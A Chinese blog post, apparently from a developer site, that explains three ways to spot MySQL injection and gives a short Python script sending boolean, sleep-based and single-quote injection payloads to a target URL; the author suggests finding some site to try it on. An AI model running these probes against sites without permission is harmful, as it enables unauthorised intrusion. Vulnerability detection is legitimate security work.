Python-编写一个mysql注入漏洞检测工具
判断mysql网站是否存在注入漏洞的几个方法:
- 注入点后加上一个单引号会报错
- and 1=1返回正常页面,and 1=2返回的页面不同于正常页面
- and sleep(3) 网页会等待3秒左右
根据返回的页面情况我们就能知道是否存在注入漏洞
要获取页面返回的结果是不是一样的,我们可以通过获取请求头中的Content-Length的长度来判断
知道这些后,我们就能来写个简单的python脚本
# -*- coding:utf-8 -*-
__author__ = "MuT6 Sch01aR" import requests
import argparse
import time def argparse_option():
parser = argparse.ArgumentParser(description='The Help of Mysql_Inject.py')
parser.add_argument('-u','--url',help='The Url To Check')
args = parser.parse_args()
return args def way_1(url):
payload = [' and 1=1',' and 1=2']
url_1 = url+payload[0]
url_2 = url+payload[1]
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
r_2 = requests.get(url=url_2)
h = r.headers.get('Content-Length')
h_1 = r_1.headers.get('Content-Length')
h_2 = r_2.headers.get('Content-Length')
if h ==h_1 and h !=h_2:
print("[*] %s can be injected" %url)
else:
way_2(url) def way_2(url):
payload = ' and sleep(5)'
t1 = time.time()
requests.get(url=url+payload)
t2 = time.time()
if t2-t1 >5:
print("[*] %s can be injected" %url)
else:
way_3(url) def way_3(url):
payload = "'"
url_1 = url+payload
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
h = r.headers.get('Content-Length')
h_1 = r_1.headers.get('Content-Length')
if h != h_1:
print("[*] %s can be injected" % url)
else:
print("[!] %s can't be injected" %url) if __name__ == '__main__':
cmd_args = argparse_option()
url = cmd_args.url
if url:
way_1(url)
else:
print("Usage:python3 main.py -u [url]")
找个站测试一下
这个脚本还只能检测一些简单的链接,多参数的还检测不了
Python-编写一个mysql注入漏洞检测工具的更多相关文章
- 如何编写一个SQL注入工具
0x01 前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注 ...
- Metasploit是一款开源的安全漏洞检测工具,
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...
- Retina CS强大漏洞检测工具
RetinaCS强大漏洞检测工具 Eeye数字安全公司成立于上世纪九十年代末期,它是世界领先的安全公司,它采用最新研究成果和创新技术来保证您的网络兄系统安全,并向您提供最强大的如下服务:全面的.漏洞评 ...
- RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具
无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...
- 基于Python3的漏洞检测工具 ( Python3 插件式框架 )
目录 Python3 漏洞检测工具 -- lance screenshot requirements 关键代码 usage documents Any advice or sugggestions P ...
- 基于Python实现的死链接自动化检测工具
基于Python实现的死链接自动化检测工具 by:授客 QQ:1033553122 测试环境: win7 python 3.3.2 chardet 2.3.0 脚本作用: 检测系统中访问异常(请求 ...
- 用Python编写一个简单的Http Server
用Python编写一个简单的Http Server Python内置了支持HTTP协议的模块,我们可以用来开发单机版功能较少的Web服务器.Python支持该功能的实现模块是BaseFTTPServe ...
- 文件包含漏洞检测工具fimap
文件包含漏洞检测工具fimap 在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务 ...
- 使用 python 编写一个授权登录验证的模块
使用 python 编写一个授权登录验证的模块 我们编写的思路: 1.登录的逻辑:如果用户名和密码正确,就返回 token . 2.生成 token 的逻辑,根据用户名,随机数,当前时间 + 2 小时 ...
随机推荐
- You can also run `php --ini` inside terminal to see which files are used by PHP in CLI mode.
[root@localhost dreamstart]# composer installLoading composer repositories with package informationI ...
- 冒泡排序的三种实现(Java)
冒泡排序是非常好理解的,以从小到大排序为例,每一轮排序就找出未排序序列中最大值放在最后. 设数组的长度为N: (1)比较前后相邻的二个数据,如果前面数据大于后面的数据,就将这二个数据交换. (2)这样 ...
- php自定义的格式化时间示例代码
时间刚好是5分钟前,则对应的时间戳就会被格式化为5分钟前,自定义的格式化时间方法如下,感兴趣的朋友可以参考下 如:时间刚好是5分钟前,则对应的时间戳就会被格式化为5分钟前,不多说了,直接贴上代码: 复 ...
- linux清空屏幕
linux清空屏幕 clear ctrl+L reset也是真正的清空终端屏幕,这个命令执行起来有点慢,但它的兼容性显然比之前的那个好,在终端控制错乱时非常有用
- js实现select动态添加option
关于 select 的添加 option 应该注意的问题. 标准的做法如上也就是说,标准的做法是 s.options.add();但是如果你一定要用 s.appendChild(option);注意了 ...
- [原创]java WEB学习笔记24:MVC案例完整实践(part 5)---删除操作的设计与实现
本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...
- 算法(Algorithms)第4版 练习 1.3.37
package com.qiusongde.creative; import com.qiusongde.Queue; import edu.princeton.cs.algs4.StdOut; pu ...
- Java -- eclipse常用快捷键
- Win7.窗口自动滚动回到屏幕
PS:笔记本 ThinkPad E440 1.前提:窗口 的一部分位于在屏幕的外面,此窗口处于激活的状态 操作:鼠标放置在窗口内部,鼠标继续往屏幕外部移动,鼠标没有任何其他事件(只有 MouseMov ...
- form 中Enctype=multipart/form-data 的作用
form 中Enctype=multipart/form-data 的作用 ENCTYPE="multipart/form-data"用于表单里有图片上传. <form na ...